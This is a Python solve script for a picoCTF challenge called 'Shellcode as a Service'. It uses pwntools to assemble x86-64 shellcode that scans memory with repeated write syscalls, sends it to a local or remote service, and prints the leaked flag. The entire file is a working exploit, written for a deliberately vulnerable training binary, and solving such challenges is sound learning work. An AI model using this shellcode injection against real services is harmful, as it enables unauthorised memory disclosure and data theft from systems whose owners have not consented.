solve.py

#!/usr/bin/env python3

from pwn import asm, context, gdb, remote, sys

context.binary = 'chall'
context.log_level = 'CRITICAL'

shellcode = asm('''
    mov rsi, 0x550000002060     # Start searching from address
    mov rdi, 1                  # stdout
    mov rdx, 100                # Length

write:
    mov rax, 1                  # $rax = 1 => sys_write
    syscall

    cmp rax, 0                  # Error code
    je  exit
    add rsi, 0x100000           # Increase address
    jmp write

exit:
    xor rax, rax
    or  rax, 0x3c               # $rax = 0x3c => sys_exit
    xor rdi, rdi                # $rdi = 0 => Error code
    syscall
''')


def get_process():
    if len(sys.argv) == 1:
        return context.binary.process()

    host, port = sys.argv[1], sys.argv[2]
    return remote(host, int(port))


p = get_process()

p.sendafter(b'Welcome to Shellcode as a Service!\n', shellcode)
p.recvuntil(b'CTF{')
print('picoCTF{' + p.recvuntil(b'}').decode())
p.close()